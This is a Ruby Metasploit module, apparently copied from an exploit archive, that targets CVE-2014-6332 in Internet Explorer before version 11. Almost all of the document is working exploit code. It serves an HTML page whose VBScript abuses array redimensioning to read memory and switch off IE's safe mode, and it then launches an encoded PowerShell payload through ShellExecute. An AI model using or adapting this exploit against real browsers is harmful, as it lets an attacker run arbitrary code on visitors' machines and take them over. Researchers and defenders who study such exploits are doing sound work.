Microsoft Internet Explorer < 11 - OLE Automation Array Remote Code Execution (Metasploit)

Related Vulnerabilities: CVE-2014-6332  
Publish Date: 13 Nov 2014
                							

                ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/powershell'

class Metasploit3 &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name'           =&gt; "Windows OLE Automation Array Remote Code Execution",
      'Description'    =&gt; %q{
          This modules exploits the Windows OLE Automation Array Remote Code Execution Vulnerability. 
		  Internet MS-14-064, CVE-2014-6332. The vulnerability exists in Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.  
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt;
        [
          'IBM', # Discovery
	  'yuange &lt;twitter.com/yuange75&gt;', # PoC
	  'Rik van Duijn &lt;twitter.com/rikvduijn&gt;', #Metasploit
          'Wesley Neelen &lt;security[at]forsec.nl&gt;'  #Metasploit
        ],
      'References'     =&gt;
        [
          [ 'CVE', '2014-6332' ]
        ],
      'Payload'        =&gt;
        {
          'BadChars'        =&gt; "\x00",
        },
      'DefaultOptions'  =&gt;
        {
          'EXITFUNC'         =&gt; "none"
        },
      'Platform'       =&gt; 'win',
      'Targets'        =&gt;  
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'     =&gt; false,
      'DisclosureDate' =&gt; "November 12 2014",
      'DefaultTarget'  =&gt; 0))
  end

  def on_request_uri(cli, request)
	payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec =&gt; true })
	payl.slice! "powershell.exe "
    
	html = &lt;&lt;-EOS
&lt;!doctype html&gt;

&lt;html&gt;

&lt;meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" &gt;

&lt;head&gt;

&lt;/head&gt;

&lt;body&gt;


&lt;SCRIPT LANGUAGE="VBScript"&gt;


function trigger() 

On Error Resume Next

set shell=createobject("Shell.Application")

shell.ShellExecute "powershell.exe", "#{payl}", "", "open", 1

end function


&lt;/script&gt;


&lt;SCRIPT LANGUAGE="VBScript"&gt;

 

dim   aa()

dim   ab()

dim   a0

dim   a1

dim   a2

dim   a3

dim   win9x

dim   intVersion

dim   rnda

dim   funclass

dim   myarray


Begin()


function Begin()

  On Error Resume Next

  info=Navigator.UserAgent


  if(instr(info,"Win64")&gt;0)   then

     exit   function

  end if


  if (instr(info,"MSIE")&gt;0)   then 

             intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))   

  else

     exit   function  

             

  end if


  win9x=0


  BeginInit()

  If Create()=True Then

     myarray=        chrw(01)&amp;chrw(2176)&amp;chrw(01)&amp;chrw(00)&amp;chrw(00)&amp;chrw(00)&amp;chrw(00)&amp;chrw(00)

     myarray=myarray&amp;chrw(00)&amp;chrw(32767)&amp;chrw(00)&amp;chrw(0)


     if(intVersion&lt;4) then

         document.write("&lt;br&gt; IE")

         document.write(intVersion)

         runshellcode()                    

     else  

          setnotsafemode()

     end if

  end if

end function


function BeginInit()

   Randomize()

   redim aa(5)

   redim ab(5)

   a0=13+17*rnd(6)

   a3=7+3*rnd(5)

end function


function Create()

  On Error Resume Next

  dim i

  Create=False

  For i = 0 To 400

    If Over()=True Then

    '   document.write(i)     

       Create=True

       Exit For

    End If 

  Next

end function


sub testaa()

end sub


function mydata()

    On Error Resume Next

     i=testaa

     i=null

     redim  Preserve aa(a2)  

  

     ab(0)=0

     aa(a1)=i

     ab(0)=6.36598737437801E-314


     aa(a1+2)=myarray

     ab(2)=1.74088534731324E-310  

     mydata=aa(a1)

     redim  Preserve aa(a0)  

end function 



function setnotsafemode()

    On Error Resume Next

    i=mydata()  

    i=readmemo(i+8)

    i=readmemo(i+16)

    j=readmemo(i+&amp;h134)  

    for k=0 to &amp;h60 step 4

        j=readmemo(i+&amp;h120+k)

        if(j=14) then

              j=0          

              redim  Preserve aa(a2)             

     aa(a1+2)(i+&amp;h11c+k)=ab(4)

              redim  Preserve aa(a0)  


     j=0 

              j=readmemo(i+&amp;h120+k)   

         

               Exit for

           end if


    next 

    ab(2)=1.69759663316747E-313

    trigger() 

end function


function Over()

    On Error Resume Next

    dim type1,type2,type3

    Over=False

    a0=a0+a3

    a1=a0+2

    a2=a0+&amp;h8000000

  

    redim  Preserve aa(a0) 

    redim   ab(a0)     

  

    redim  Preserve aa(a2)

  

    type1=1

    ab(0)=1.123456789012345678901234567890

    aa(a0)=10

          

    If(IsObject(aa(a1-1)) = False) Then

       if(intVersion&lt;4) then

           mem=cint(a0+1)*16             

           j=vartype(aa(a1-1))

           if((j=mem+4) or (j*8=mem+8)) then

              if(vartype(aa(a1-1))&lt;&gt;0)  Then    

                 If(IsObject(aa(a1)) = False ) Then             

                   type1=VarType(aa(a1))

                 end if               

              end if

           else

             redim  Preserve aa(a0)

             exit  function


           end if 

        else

           if(vartype(aa(a1-1))&lt;&gt;0)  Then    

              If(IsObject(aa(a1)) = False ) Then

                  type1=VarType(aa(a1))

              end if               

            end if

        end if

    end if

              

    

    If(type1=&amp;h2f66) Then         

          Over=True      

    End If  

    If(type1=&amp;hB9AD) Then

          Over=True

          win9x=1

    End If  


    redim  Preserve aa(a0)          

        

end function


function ReadMemo(add) 

    On Error Resume Next

    redim  Preserve aa(a2)  

  

    ab(0)=0   

    aa(a1)=add+4     

    ab(0)=1.69759663316747E-313       

    ReadMemo=lenb(aa(a1))  

   

    ab(0)=0    

 

    redim  Preserve aa(a0)

end function


&lt;/script&gt;


&lt;/body&gt;

&lt;/html&gt;
    EOS

    print_status("Sending html")
    send_response(cli, html, {'Content-Type'=&gt;'text/html'})

  end

end